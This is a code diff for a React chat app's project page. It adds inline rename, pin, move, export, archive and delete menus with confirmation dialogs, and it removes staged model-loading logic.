   const [newThreadNonce, setNewThreadNonce] = useState(() =>
-    crypto.randomUUID(),
+    createThreadNonce(),
   );
   const [previews, setPreviews] = useState<
     Record<string, { snippet: string; date: string }>
   >({});
+  // Inline rename, mirroring the sidebar recent-row UX: edit the title in place,
+  // commit on Enter/blur, cancel on Escape. Reuses the projectId-agnostic
+  // renameChatItem so behavior matches the sidebar.
+  const [renamingId, setRenamingId] = useState<string | null>(null);
+  const [renameDraft, setRenameDraft] = useState("");
+  // Skips the input's blur-commit when Enter/Escape already handled it.
+  const skipRenameBlurRef = useRef(false);
+  // Optimistic title shown until the debounced sidebar refresh (fired by the
+  // rename) catches up, so the old name does not flash back in.
+  const [pendingRename, setPendingRename] = useState<{
+    id: string;
+    title: string;
+  } | null>(null);
+
+  // Project-level options (the header kebab menu).
+  const pinnedProjectIds = usePinnedProjectsStore((s) => s.pinnedIds);
+  const togglePinProject = usePinnedProjectsStore((s) => s.togglePin);
+  const projectPinned = pinnedProjectIds.includes(projectId);
+  const [renamingProject, setRenamingProject] = useState(false);
+  const [projectNameDraft, setProjectNameDraft] = useState("");
+  const [deletingProject, setDeletingProject] = useState(false);
+
+  async function handleProjectExport(
+    format: ProjectChatExportFormat,
+  ): Promise<void> {
+    try {
+      const threads = await listStoredChatThreads({
+        projectId,
+        includeArchived: false,
+      });
+      const ids = [...new Set(threads.map((t) => t.id))];
+      for (const id of ids) await exportProjectConversation(id, format);
+    } catch (error) {
+      if (!isDownloadCancelled(error)) toast.error("Export failed.");
+    }
+  }
+
+  async function commitProjectRename(): Promise<void> {
+    const name = projectNameDraft.trim();
+    setRenamingProject(false);
+    if (!name || name === projectName) return;
+    try {
+      await renameChatProject(projectId, name);
+    } catch (err) {
+      toast.error("Failed to rename project", {
+        description: err instanceof Error ? err.message : undefined,
+      });
+    }
+  }
+
+  async function commitProjectDelete(): Promise<void> {
+    setDeletingProject(false);
+    try {
+      await deleteChatProject(projectId);
+      // Refresh chat history so the project's now-deleted chats don't linger
+      // in the sidebar, matching the sidebar delete path.
+      notifyChatHistoryUpdated();
+      useChatRuntimeStore.getState().setActiveProjectId(null);
+      navigate({ to: "/chat", search: { new: createThreadNonce() } });
+    } catch (err) {
+      toast.error("Failed to delete project", {
+        description: err instanceof Error ? err.message : undefined,
+      });
+    }
+  }
 
   useEffect(() => {
     initialActiveThreadRef.current =
@@ -899,19 +1079,133 @@ function ProjectLanding({
     useChatRuntimeStore.getState().setActiveThreadId(null);
     useChatRuntimeStore.getState().setContextUsage(null);
     setPendingNewThreadId(null);
-    setNewThreadNonce(crypto.randomUUID());
+    setNewThreadNonce(createThreadNonce());
+    setRenamingId(null);
+    setPendingRename(null);
   }, [projectId]);
 
+  useEffect(() => {
+    if (!pendingRename) return;
+    const match = items.find((item) => item.id === pendingRename.id);
+    if (match && match.title === pendingRename.title) setPendingRename(null);
+  }, [items, pendingRename]);
+
+  const openRename = useCallback((item: SidebarItem) => {
+    skipRenameBlurRef.current = false;
+    setRenameDraft(item.title);
+    setRenamingId(item.id);
+  }, []);
+
+  const commitRename = useCallback(
+    async (item: SidebarItem) => {
+      const trimmed = renameDraft.trim();
+      setRenamingId(null);
+      if (!trimmed || trimmed === item.title) return;
+      setPendingRename({ id: item.id, title: trimmed });
+      try {
+        await renameChatItem(item, trimmed);
+      } catch (err) {
+        setPendingRename(null);
+        toast.error("Failed to rename chat", {
+          description: err instanceof Error ? err.message : undefined,
+        });
+      }
+    },
+    [renameDraft],
+  );
+
+  // Full chat actions, matching the sidebar chat menu.
+  const { projects } = useChatProjects();
+  const pinnedChatIds = usePinnedChatsStore((s) => s.pinnedIds);
+  const togglePinnedChat = usePinnedChatsStore((s) => s.togglePin);
+  const confirmDeleteChats = useChatPreferencesStore(
+    (s) => s.confirmDeleteChats,
+  );
+  const pinnedChatIdSet = useMemo(
+    () => new Set(pinnedChatIds),
+    [pinnedChatIds],
+  );
+  const [confirmingDelete, setConfirmingDelete] = useState<SidebarItem | null>(
+    null,
+  );
+
+  // Landing has no active thread selected, so the onView callback here is a
+  // no-op; the items list refreshes itself once storage emits its update.
+  const noopView = useCallback(() => {}, []);
+
+  const handleArchive = useCallback(
+    async (item: SidebarItem) => {
+      try {
+        await archiveChatItem(item, activeThreadId ?? undefined, noopView);
+      } catch (err) {
+        toast.error("Failed to archive chat", {
+          description: err instanceof Error ? err.message : undefined,
+        });
+      }
+    },
+    [activeThreadId, noopView],
+  );
+
+  const runDelete = useCallback(
+    async (item: SidebarItem) => {
+      try {
+        await deleteChatItem(item, activeThreadId ?? undefined, noopView);
+      } catch (err) {
+        toast.error("Failed to delete chat", {
+          description: err instanceof Error ? err.message : undefined,
+        });
+      }
+    },
+    [activeThreadId, noopView],
+  );
+
+  const handleDelete = useCallback(
+    (item: SidebarItem) => {
+      if (confirmDeleteChats) setConfirmingDelete(item);
+      else void runDelete(item);
+    },
+    [confirmDeleteChats, runDelete],
+  );
+
+  const handleMoveToProject = useCallback(
+    async (item: SidebarItem, targetId: string | null) => {
+      try {
+        await moveChatItemToProject(item, targetId);
+      } catch (err) {
+        toast.error("Failed to move chat", {
+          description: err instanceof Error ? err.message : undefined,
+        });
+      }
+    },
+    [],
+  );
+
+  const handleExport = useCallback(
+    async (item: SidebarItem, format: ProjectChatExportFormat) => {
+      try {
+        await exportProjectChatItem(item, format);
+      } catch (error) {
+        if (!isDownloadCancelled(error)) toast.error("Export failed.");
+      }
+    },
+    [],
+  );
+
   useEffect(() => {
     if (!activeThreadId) {
-      setPendingNewThreadId(null);
+      // Leaving a created chat for a new one: rotate the nonce so the runtime
+      // switches to a fresh thread instead of appending to the old chat.
+      if (pendingNewThreadId) {
+        setNewThreadNonce(createThreadNonce());
+        setPendingNewThreadId(null);
+      }
       return;
     }
     if (activeThreadId === initialActiveThreadRef.current) {
       return;
     }
     setPendingNewThreadId(activeThreadId);
-  }, [activeThreadId]);
+  }, [activeThreadId, pendingNewThreadId]);
 
   useEffect(() => {
     let cancelled = false;
@@ -975,8 +1269,8 @@ function ProjectLanding({
             } as CSSProperties
           }
         >
-          {/* 46rem matches the composer so every block shares the same edges. */}
-          <div className="mx-auto flex w-full max-w-[46rem] flex-col pt-[120px] pb-14">
+          {/* Slightly narrower than the composer max; every block shares this. */}
+          <div className="mx-auto flex w-full max-w-[44rem] flex-col pt-[120px] pb-14">
             <div className="mb-12 flex items-center gap-4">
               <span className="flex size-13 shrink-0 items-center justify-center rounded-[18px] bg-muted text-foreground/80">
                 <HugeiconsIcon
@@ -985,9 +1279,64 @@ function ProjectLanding({
                   className="size-6.5"
                 />
               </span>
-              <h1 className="truncate font-sans text-[30px] font-medium leading-tight tracking-normal text-foreground">
+              <h1 className="min-w-0 flex-1 truncate font-sans text-ui-30 font-medium leading-tight tracking-normal text-foreground">
                 {projectName}
               </h1>
+              <DropdownMenu>
+                <DropdownMenuTrigger asChild={true}>
+                  <button
+                    type="button"
+                    aria-label="Project options"
+                    className="inline-flex size-9 shrink-0 items-center justify-center rounded-full text-muted-foreground transition-colors hover:bg-muted hover:text-foreground focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring data-[state=open]:bg-muted data-[state=open]:text-foreground"
+                  >
+                    <HugeiconsIcon icon={MoreHorizontalIcon} strokeWidth={1.75} className="size-5" />
+                  </button>
+                </DropdownMenuTrigger>
+                <DropdownMenuContent
+                  side="bottom"
+                  align="end"
+                  sideOffset={6}
+                  className="unsloth-plus-menu menu-flat-destructive w-52"
+                >
+                  <DropdownMenuItem
+                    onSelect={() => {
+                      setProjectNameDraft(projectName);
+                      setRenamingProject(true);
+                    }}
+                  >
+                    <HugeiconsIcon icon={Edit03Icon} strokeWidth={1.75} className="size-icon" />
+                    <span>Rename project</span>
+                  </DropdownMenuItem>
+                  <DropdownMenuItem onSelect={() => togglePinProject(projectId)}>
+                    <HugeiconsIcon icon={projectPinned ? PinOffIcon : PinIcon} strokeWidth={1.75} className="size-icon" />
+                    <span>{projectPinned ? "Unpin project" : "Pin project"}</span>
+                  </DropdownMenuItem>
+                  <DropdownMenuSub>
+                    <DropdownMenuSubTrigger>
+                      <HugeiconsIcon icon={Download01Icon} strokeWidth={1.75} className="size-icon" />
+                      <span>Export</span>
+                    </DropdownMenuSubTrigger>
+                    <DropdownMenuSubContent className="unsloth-plus-menu w-48">
+                      {PROJECT_CHAT_EXPORT_OPTIONS.map(({ label, format }) => (
+                        <DropdownMenuItem
+                          key={format}
+                          onSelect={() => void handleProjectExport(format)}
+                        >
+                          {label}
+                        </DropdownMenuItem>
+                      ))}
+                    </DropdownMenuSubContent>
+                  </DropdownMenuSub>
+                  <DropdownMenuSeparator />
+                  <DropdownMenuItem
+                    variant="destructive"
+                    onSelect={() => setDeletingProject(true)}
+                  >
+                    <HugeiconsIcon icon={Delete02Icon} strokeWidth={1.75} className="size-icon" />
+                    <span>Delete project</span>
+                  </DropdownMenuItem>
+                </DropdownMenuContent>
+              </DropdownMenu>
             </div>
 
             <ProjectComposer
@@ -1000,7 +1349,7 @@ function ProjectLanding({
                 type="button"
                 onClick={() => setProjectTab("chats")}
                 data-active={projectTab === "chats"}
-                className="h-10 rounded-full px-5 text-[14px] font-semibold transition-colors data-[active=true]:bg-muted data-[active=true]:text-foreground data-[active=false]:text-muted-foreground data-[active=false]:hover:bg-nav-surface-hover"
+                className="h-10 rounded-full px-5 text-ui-14 font-semibold transition-colors data-[active=true]:bg-muted data-[active=true]:text-foreground data-[active=false]:text-muted-foreground data-[active=false]:hover:bg-nav-surface-hover"
               >
                 Chats
               </button>
@@ -1008,50 +1357,240 @@ function ProjectLanding({
                 type="button"
                 onClick={() => setProjectTab("sources")}
                 data-active={projectTab === "sources"}
-                className="flex h-10 items-center gap-1.5 rounded-full px-5 text-[14px] font-semibold transition-colors data-[active=true]:bg-muted data-[active=true]:text-foreground data-[active=false]:text-muted-foreground data-[active=false]:hover:bg-nav-surface-hover"
+                className="h-10 rounded-full px-5 text-ui-14 font-semibold transition-colors data-[active=true]:bg-muted data-[active=true]:text-foreground data-[active=false]:text-muted-foreground data-[active=false]:hover:bg-nav-surface-hover"
               >
                 Sources
-                <span className="rounded-full bg-emerald-500/10 px-2 py-1 text-[10px] font-semibold leading-none text-emerald-700 dark:text-emerald-300">
-                  New
-                </span>
               </button>
             </div>
 
             {projectTab === "sources" ? (
-              <ProjectSourcesPanel projectId={projectId} />
+              <Suspense
+                fallback={
+                  <div className="mt-8 rounded-[26px] bg-muted/30 px-6 py-10 text-center text-sm text-muted-foreground">
+                    Loading sources…
+                  </div>
+                }
+              >
+                <ProjectSourcesPanel projectId={projectId} />
+              </Suspense>
             ) : (
               <div className="mt-8 flex flex-col gap-1">
                 {items.map((item) => {
                   const preview = previews[item.id];
-                  return (
-                    <button
-                      key={`${item.type}:${item.id}`}
-                      type="button"
-                      onClick={() => {
-                        navigate({
-                          to: "/chat",
-                          search:
-                            item.type === "single"
-                              ? { thread: item.id, project: projectId }
-                              : { compare: item.id, project: projectId },
-                        });
-                      }}
-                      className="group flex min-h-[58px] w-full items-center gap-4 rounded-full px-4 py-2 text-left transition-colors hover:bg-nav-surface-hover"
-                    >
-                      <div className="min-w-0 flex-1">
-                        <div className="truncate text-[15px] font-semibold leading-5 text-foreground">
-                          {item.title}
+                  const displayTitle =
+                    pendingRename?.id === item.id
+                      ? pendingRename.title
+                      : item.title;
+                  if (renamingId === item.id) {
+                    return (
+                      <div
+                        key={`${item.type}:${item.id}`}
+                        className="flex min-h-[58px] w-full items-center rounded-full px-4 py-2"
+                      >
+                        <div className="min-w-0 flex-1">
+                          <input
+                            autoFocus
+                            value={renameDraft}
+                            onChange={(event) =>
+                              setRenameDraft(event.target.value)
+                            }
+                            onKeyDown={(event) => {
+                              // Ignore keydowns fired mid-IME-composition (CJK)
+                              // so a candidate-confirming Enter or candidate-
+                              // cancelling Escape does not commit/cancel the
+                              // rename. Guard before the key branch so Escape is
+                              // covered too (isComposing on WebKit, 229 on Chromium).
+                              if (
+                                event.nativeEvent.isComposing ||
+                                event.keyCode === 229
+                              )
+                                return;
+                              if (event.key === "Enter") {
+                                event.preventDefault();
+                                skipRenameBlurRef.current = true;
+                                void commitRename(item);
+                              } else if (event.key === "Escape") {
+                                event.preventDefault();
+                                skipRenameBlurRef.current = true;
+                                setRenamingId(null);
+                              }
+                            }}
+                            onBlur={() => {
+                              if (skipRenameBlurRef.current) {
+                                skipRenameBlurRef.current = false;
+                                return;
+                              }
+                              void commitRename(item);
+                            }}
+                            onFocus={(event) => event.currentTarget.select()}
+                            maxLength={120}
+                            aria-label="Rename chat"
+                            className="w-full border-0 bg-transparent text-ui-15 font-semibold leading-5 text-foreground outline-none"
+                          />
                         </div>
-                        {preview?.snippet ? (
-                          <div className="mt-0.5 truncate text-[14px] leading-5 text-muted-foreground">
-                            {preview.snippet}
-                          </div>
-                        ) : null}
                       </div>
-                      <span className="shrink-0 text-[14px] text-muted-foreground">
-                        {preview?.date ?? formatProjectChatDate(item.createdAt)}
-                      </span>
-                    </button>
+                    );
+                  }
+                  return (
+                    <div
+                      key={`${item.type}:${item.id}`}
+                      className="group relative flex min-h-[58px] w-full items-center rounded-full transition-colors hover:bg-nav-surface-hover has-[[data-state=open]]:bg-nav-surface-hover"
+                    >
+                      <button
+                        type="button"
+                        onClick={() => {
+                          navigate({
+                            to: "/chat",
+                            search:
+                              item.type === "single"
+                                ? { thread: item.id, project: projectId }
+                                : { compare: item.id, project: projectId },
+                          });
+                        }}
+                        className="flex min-h-[58px] min-w-0 flex-1 items-center gap-4 rounded-full px-4 py-2 text-left"
+                      >
+                        <div className="min-w-0 flex-1">
+                          <div className="truncate text-ui-15 font-semibold leading-5 text-foreground">
+                            {displayTitle}
+                          </div>
+                        </div>
+                        <span className="shrink-0 text-ui-14 text-muted-foreground transition-opacity max-md:opacity-0 pointer-coarse:opacity-0 group-hover:opacity-0 group-has-[[data-state=open]]:opacity-0">
+                          {preview?.date ??
+                            formatProjectChatDate(item.createdAt)}
+                        </span>
+                      </button>
+                      <DropdownMenu>
+                        <DropdownMenuTrigger asChild>
+                          <button
+                            type="button"
+                            onClick={(event) => event.stopPropagation()}
+                            aria-label="Chat options"
+                            className="absolute right-3 top-1/2 inline-flex size-8 -translate-y-1/2 cursor-pointer items-center justify-center rounded-full text-muted-foreground outline-none transition-opacity hover:bg-foreground/10 md:pointer-fine:opacity-0 md:pointer-fine:pointer-events-none focus-visible:opacity-100 focus-visible:pointer-events-auto group-hover:opacity-100 group-hover:pointer-events-auto data-[state=open]:opacity-100 data-[state=open]:pointer-events-auto"
+                          >
+                            <HugeiconsIcon
+                              icon={MoreVerticalIcon}
+                              strokeWidth={1.75}
+                              className="size-icon"
+                            />
+                          </button>
+                        </DropdownMenuTrigger>
+                        <DropdownMenuContent
+                          side="bottom"
+                          align="end"
+                          sideOffset={4}
+                          className="unsloth-plus-menu menu-flat-destructive w-56"
+                        >
+                          <DropdownMenuItem onSelect={() => openRename(item)}>
+                            <HugeiconsIcon
+                              icon={Edit03Icon}
+                              strokeWidth={1.75}
+                              className="size-icon"
+                            />
+                            <span>Rename</span>
+                          </DropdownMenuItem>
+                          <DropdownMenuItem
+                            onSelect={() => togglePinnedChat(item.id)}
+                          >
+                            <HugeiconsIcon
+                              icon={
+                                pinnedChatIdSet.has(item.id)
+                                  ? PinOffIcon
+                                  : PinIcon
+                              }
+                              strokeWidth={1.75}
+                              className="size-icon"
+                            />
+                            <span>
+                              {pinnedChatIdSet.has(item.id)
+                                ? "Unpin chat"
+                                : "Pin chat"}
+                            </span>
+                          </DropdownMenuItem>
+                          <DropdownMenuSub>
+                            <DropdownMenuSubTrigger>
+                              <HugeiconsIcon
+                                icon={FolderExportIcon}
+                                strokeWidth={1.75}
+                                className="size-icon"
+                              />
+                              <span>Move to project</span>
+                            </DropdownMenuSubTrigger>
+                            <DropdownMenuSubContent className="unsloth-plus-menu w-52">
+                              <DropdownMenuItem
+                                disabled={item.projectId !== projectId}
+                                onSelect={() =>
+                                  void handleMoveToProject(item, null)
+                                }
+                              >
+                                <span>Recents</span>
+                              </DropdownMenuItem>
+                              {projects.map((p) => (
+                                <DropdownMenuItem
+                                  key={p.id}
+                                  disabled={item.projectId === p.id}
+                                  onSelect={() =>
+                                    void handleMoveToProject(item, p.id)
+                                  }
+                                >
+                                  <HugeiconsIcon
+                                    icon={Folder01Icon}
+                                    strokeWidth={1.75}
+                                    className="size-icon"
+                                  />
+                                  <span className="truncate">{p.name}</span>
+                                </DropdownMenuItem>
+                              ))}
+                            </DropdownMenuSubContent>
+                          </DropdownMenuSub>
+                          <DropdownMenuSub>
+                            <DropdownMenuSubTrigger>
+                              <HugeiconsIcon
+                                icon={Download01Icon}
+                                strokeWidth={1.75}
+                                className="size-icon"
+                              />
+                              <span>Export</span>
+                            </DropdownMenuSubTrigger>
+                            <DropdownMenuSubContent className="unsloth-plus-menu w-52">
+                              {PROJECT_CHAT_EXPORT_OPTIONS.map(
+                                ({ label, format }) => (
+                                  <DropdownMenuItem
+                                    key={format}
+                                    onSelect={() =>
+                                      void handleExport(item, format)
+                                    }
+                                  >
+                                    {label}
+                                  </DropdownMenuItem>
+                                ),
+                              )}
+                            </DropdownMenuSubContent>
+                          </DropdownMenuSub>
+                          <DropdownMenuSeparator />
+                          <DropdownMenuItem
+                            onSelect={() => void handleArchive(item)}
+                          >
+                            <HugeiconsIcon
+                              icon={Archive03Icon}
+                              strokeWidth={1.75}
+                              className="size-icon"
+                            />
+                            <span>Archive</span>
+                          </DropdownMenuItem>
+                          <DropdownMenuItem
+                            variant="destructive"
+                            onSelect={() => handleDelete(item)}
+                          >
+                            <HugeiconsIcon
+                              icon={Delete02Icon}
+                              strokeWidth={1.75}
+                              className="size-icon"
+                            />
+                            <span>Delete</span>
+                          </DropdownMenuItem>
+                        </DropdownMenuContent>
+                      </DropdownMenu>
+                    </div>
                   );
                 })}
               </div>
@@ -1059,6 +1598,96 @@ function ProjectLanding({
           </div>
         </div>
       )}
+      <AlertDialog
+        open={active && confirmingDelete !== null}
+        onOpenChange={(open) => {
+          if (!open) setConfirmingDelete(null);
+        }}
+      >
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogTitle>Delete chat</AlertDialogTitle>
+            <AlertDialogDescription>
+              This permanently deletes "{confirmingDelete?.title}". This cannot
+              be undone.
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel>Cancel</AlertDialogCancel>
+            <AlertDialogAction
+              onClick={() => {
+                const target = confirmingDelete;
+                setConfirmingDelete(null);
+                if (target) void runDelete(target);
+              }}
+            >
+              Delete
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
+      <Dialog
+        open={active && renamingProject}
+        onOpenChange={(open) => {
+          if (!open) setRenamingProject(false);
+        }}
+      >
+        <DialogContent className="corner-squircle dialog-soft-surface sm:max-w-md">
+          <DialogHeader>
+            <DialogTitle>Rename project</DialogTitle>
+          </DialogHeader>
+          <Input
+            value={projectNameDraft}
+            onChange={(e) => setProjectNameDraft(e.target.value)}
+            onKeyDown={(e) => {
+              if (e.key === "Enter") {
+                e.preventDefault();
+                void commitProjectRename();
+              }
+            }}
+            autoFocus={true}
+            maxLength={120}
+            placeholder="Project name"
+            aria-label="Project name"
+            className="focus-visible:border-input focus-visible:ring-0"
+          />
+          <DialogFooter className="flex-wrap gap-2 sm:justify-end">
+            <Button type="button" variant="ghost" onClick={() => setRenamingProject(false)}>
+              Cancel
+            </Button>
+            <Button
+              type="button"
+              onClick={() => void commitProjectRename()}
+              disabled={
+                !projectNameDraft.trim() || projectNameDraft.trim() === projectName
+              }
+            >
+              Save
+            </Button>
+          </DialogFooter>
+        </DialogContent>
+      </Dialog>
+      <AlertDialog
+        open={active && deletingProject}
+        onOpenChange={(open) => {
+          if (!open) setDeletingProject(false);
+        }}
+      >
+        <AlertDialogContent>
+          <AlertDialogHeader>
+            <AlertDialogTitle>Delete project</AlertDialogTitle>
+            <AlertDialogDescription>
+              Delete "{projectName}"? Its chats will be permanently deleted.
+            </AlertDialogDescription>
+          </AlertDialogHeader>
+          <AlertDialogFooter>
+            <AlertDialogCancel>Cancel</AlertDialogCancel>
+            <AlertDialogAction onClick={() => void commitProjectDelete()}>
+              Delete
+            </AlertDialogAction>
+          </AlertDialogFooter>
+        </AlertDialogContent>
+      </AlertDialog>
     </ChatRuntimeProvider>
   );
 }
@@ -1079,6 +1708,13 @@ export function validateChatSearch(search: Record<string, unknown>): ChatSearch
   };
 }
 
+type PendingHubAutoLoad = {
+  selection: SelectedModelInput;
+  contextKey: string;
+  originCheckpoint: string;
+  originGgufVariant: string | null;
+};
+
 // `search` comes from RootLayout (not useSearch) so ChatPage stays mounted off-route
 // (keeping an in-flight generation alive), frozen to the last /chat search. `active`
 // is false off-route: close body-portaled surfaces and stop route-specific listeners
@@ -1091,30 +1727,6 @@ export function ChatPage({
 
   const settingsOpen = useChatRuntimeStore((s) => s.settingsPanelOpen);
   const setSettingsOpen = useChatRuntimeStore((s) => s.setSettingsPanelOpen);
-  // Deferred-load staging: downloads a staged GGUF (if needed) and reads its
-  // header context so the sheet can show the context slider before the load.
-  // autoLoad picks instead load the cached file as soon as the download ends;
-  // selectModel is defined below, so the load runs through a ref.
-  const autoLoadStagedRef = useRef<
-    ((pending: PendingModelSelection) => void) | null
-  >(null);
-  const stagedDownload = useStagedModelPreparation({
-    onAutoLoad: (pending) => autoLoadStagedRef.current?.(pending),
-  });
-  // Abandon a staged pick: the store action cancels its in-flight download and
-  // reverts the edited knobs, so nothing lingers after the user walks away.
-  const abandonStaged = useCallback(() => {
-    useChatRuntimeStore.getState().abandonStagedModel();
-  }, []);
-  // Detach a staged pick on navigation without cancelling its download: the
-  // transfer keeps running in the manager and lands in cache, like Hub.
-  const detachStaged = useCallback(() => {
-    useChatRuntimeStore.getState().abandonStagedModel({ keepDownload: true });
-  }, []);
-  // Tracks whether the chat page is still mounted, so a staged-load failure that
-  // resolves after the user left chat doesn't resurrect the abandoned pick.
-  const mountedRef = useRef(true);
-  useEffect(() => () => void (mountedRef.current = false), []);
   const incognito = useChatRuntimeStore((s) => s.incognito);
   const setIncognito = useChatRuntimeStore((s) => s.setIncognito);
   const incognitoLabel = incognito
@@ -1206,6 +1818,9 @@ export function ChatPage({
   const ggufContextLength = useChatRuntimeStore(
     (state) => state.ggufContextLength,
   );
+  const ggufNativeContextLength = useChatRuntimeStore(
+    (state) => state.ggufNativeContextLength,
+  );
   const contextUsage = useChatRuntimeStore((state) => state.contextUsage);
   const modelsFromStore = useChatRuntimeStore((state) => state.models);
   const lorasFromStore = useChatRuntimeStore((state) => state.loras);
@@ -1283,37 +1898,37 @@ export function ChatPage({
     refreshRef.current = refresh;
     selectModelRef.current = selectModel;
   }, [refresh, selectModel]);
-  // Load a cached autoLoad pick once its download finishes. The sheet was never
-  // opened, so on a load failure just drop the orphaned staged knobs. The knobs
-  // were already seeded on stage, so keepSpeculative only when a config was
-  // saved -- otherwise the standing speculative preference should win.
-  autoLoadStagedRef.current = (pending) => {
-    const remembered = loadRememberedLoadSettings(
-      rememberedLoadSettingsKey(pending),
-    );
-    void selectModel({
-      ...pending,
-      isDownloaded: true,
-      forceReload: true,
-      keepSpeculative: remembered != null,
-      throwOnError: true,
-    }).catch(() => {
-      const store = useChatRuntimeStore.getState();
-      // selectModel only clears pendingSelection on success, so a failed
-      // auto-load leaves our staged pick (and its edited load knobs) behind.
-      // Abandon it when it is still the active stage; otherwise just revert the
-      // settings if the stage was already cleared by something else.
-      if (pendingSelectionMatches(store.pendingSelection, pending)) {
-        store.abandonStagedModel();
-      } else if (!store.pendingSelection) {
-        store.resetModelSettingsToLoaded();
-      }
-    });
-  };
+  const rememberedConfigFor = useCallback(
+    (selection: {
+      id: string;
+      ggufVariant?: string | null;
+      source?: string;
+    }) => {
+      if (selection.source === "external") return null;
+      const resolved = resolveInitialConfig(selection.id, selection.ggufVariant);
+      return resolved.remembered ? resolved.config : null;
+    },
+    [],
+  );
   const isExternalModel = useMemo(
     () => isExternalModelId(inferenceParams.checkpoint),
     [inferenceParams.checkpoint],
   );
+  const {
+    checkpoint: runtimeCheckpoint,
+    isGguf: runtimeModelIsGguf,
+    config: activeModelConfig,
+  } = useActiveModelConfig();
+  const activeModelIsGguf =
+    runtimeCheckpoint != null && !isExternalModel && runtimeModelIsGguf;
+  const activeModelIsLora = useMemo(() => {
+    const checkpoint = inferenceParams.checkpoint;
+    if (!checkpoint || isExternalModel) return false;
+    const model = modelsFromStore.find((entry) => entry.id === checkpoint);
+    if (model) return model.isLora;
+    const lora = lorasFromStore.find((entry) => entry.id === checkpoint);
+    return lora?.exportType === "lora";
+  }, [inferenceParams.checkpoint, isExternalModel, modelsFromStore, lorasFromStore]);
   const reasoningEnabled = useChatRuntimeStore((s) => s.reasoningEnabled);
   const reasoningStyle = useChatRuntimeStore((s) => s.reasoningStyle);
   const reasoningEffort = useChatRuntimeStore((s) => s.reasoningEffort);
@@ -1614,10 +2229,8 @@ export function ChatPage({
 
   useEffect(() => {
     if (view.mode !== "single") return;
-    if (view.threadId || view.newThreadNonce || !selectedArtifact) return;
-    // view excludes __LOCALID_ threads (they fall through to mode:"single"
-    // with no threadId/nonce). Don't close a canvas whose thread is the
-    // active local thread.
+    if (view.threadId || !selectedArtifact) return;
+    // Close any canvas that doesn't belong to the active thread.
     if (
       selectedArtifact.threadId &&
       selectedArtifact.threadId === activeThreadId
@@ -1626,75 +2239,21 @@ export function ChatPage({
     closeArtifactSurface();
   }, [activeThreadId, closeArtifactSurface, selectedArtifact, view]);
 
-  // Abandon a staged (not-yet-loaded) pick when the chat context actually
-  // changes — switching threads, leaving single view, or starting a new chat /
-  // project — so a stale Load button can't resurface in a different context.
-  // New Chat keeps activeThreadId null and only bumps the `new` search nonce, so
-  // the key includes the route identity, not just the thread. Mirrors the
-  // incognito reset pattern. (Route exit is handled in __root.tsx, which runs
-  // after this unmounts.) Clear only on a real change, never on mount: staging
-  // from the Hub sets pendingSelection then navigates here, and clearing on
-  // mount would wipe it. Comparing the previous context (rather than a first-run
-  // flag) is also safe under StrictMode's double-invoke and component remounts.
-  const chatContextKey = `${view.mode}|${activeThreadId ?? ""}|${search.new ?? ""}|${search.project ?? ""}`;
-  const chatContextKeyRef = useLatestRef(chatContextKey);
-  const prevChatContextRef = useRef<string | null>(null);
-  useEffect(() => {
-    const prev = prevChatContextRef.current;
-    prevChatContextRef.current = chatContextKey;
-    if (prev === null || prev === chatContextKey) return;
-    detachStaged();
-  }, [chatContextKey, detachStaged]);
-
   const hasActiveModel = Boolean(inferenceParams.checkpoint);
-  // Load immediately, or — when "Load on selection" is off — stage the pick so
-  // its load options can be set first. Shared by the main selector, native
-  // drag-drop/picker, and the dropped-file chip (the Hub stages via the store).
+  const chatContextKey = `${view.mode}|${activeThreadId ?? ""}|${search.new ?? ""}|${search.project ?? ""}`;
+  const [pendingHubAutoLoad, setPendingHubAutoLoad] =
+    useState<PendingHubAutoLoad | null>(null);
   const stageOrLoad = useCallback(
     async (selection: SelectedModelInput) => {
       const store = useChatRuntimeStore.getState();
-      // An un-cached HF repo (GGUF variant or a full non-GGUF snapshot) downloads
-      // through the manager first (global indicator), then auto-loads. Everything
-      // else -- cached picks, local/native files, LoRA, external -- loads now.
       const wantManagerDownload =
         isDownloadableHubRepo(selection) && !selection.isDownloaded;
-      if (
-        (!hasGgufSource(selection) && !wantManagerDownload) ||
-        (store.loadOnSelection && selection.isDownloaded)
-      ) {
-        // Detach any staged pick first so its edited knobs (e.g. a custom
-        // context length) don't leak into this immediate load -- resolveLoad
-        // reads customContextLength before checking the target is GGUF. Detach
-        // (not abandon) keeps its download running.
-        detachStaged();
-        // Load-on-selection skips the sheet, so seed the saved knobs here the
-        // way the sheet's restore effect would; the switch would otherwise reset
-        // the remembered speculative choice (keepSpeculative below prevents it).
-        const remembered = hasGgufSource(selection)
-          ? loadRememberedLoadSettings(rememberedLoadSettingsKey(selection))
-          : null;
-        if (remembered) store.applyRememberedLoadSettings(remembered);
-        await selectModel(
-          remembered ? { ...selection, keepSpeculative: true } : selection,
-        );
-        return;
-      }
-      // Loads can't queue behind each other, but a download is independent: if
-      // the pick needs downloading, start it in the manager so it runs alongside
-      // the load. Nothing to download (already on device) just waits.
       if (store.modelLoading) {
-        // Both an uncached non-GGUF snapshot (wantManagerDownload) and an
-        // uncached remote GGUF quant download through the manager, so either can
-        // run in the background while another model loads. wantManagerDownload
-        // excludes GGUF by design, so the GGUF case is checked separately.
         const wantBackgroundDownload =
           wantManagerDownload ||
           (selection.source === "hub" &&
             hasGgufSource(selection) &&
             !selection.isDownloaded);
-        // The model currently loading already downloads as part of its own load
-        // (the /load flow fetches before setting the checkpoint), so re-picking
-        // it must not kick off a second transfer against the same cache.
         const isLoadingThisPick =
           !!loadingModel &&
           normalizeModelRef(loadingModel.id) ===
@@ -1705,11 +2264,6 @@ export function ChatPage({
             description: "It's downloading as part of the load in progress.",
           });
         } else if (wantBackgroundDownload) {
-          // Only claim the download started once a job is actually created. A
-          // transport conflict records state that is only resolvable from the
-          // Hub download card, so point the user there instead of showing a
-          // success toast for a transfer that never began; "busy" and "error"
-          // already surface their own toasts.
           const outcome = await downloadManager.requestStart({
             kind: DOWNLOAD_KIND.MODEL,
             repoId: selection.id,
@@ -1722,9 +2276,14 @@ export function ChatPage({
                 "It'll be ready to load once the current model finishes.",
             });
           } else if (outcome === "conflict") {
-            toast.info("Resume this download from the Hub", {
+            toast.info("Resume this download from Models", {
               description:
-                "An earlier partial download used a different transport. Open the Hub tab to resume or restart it.",
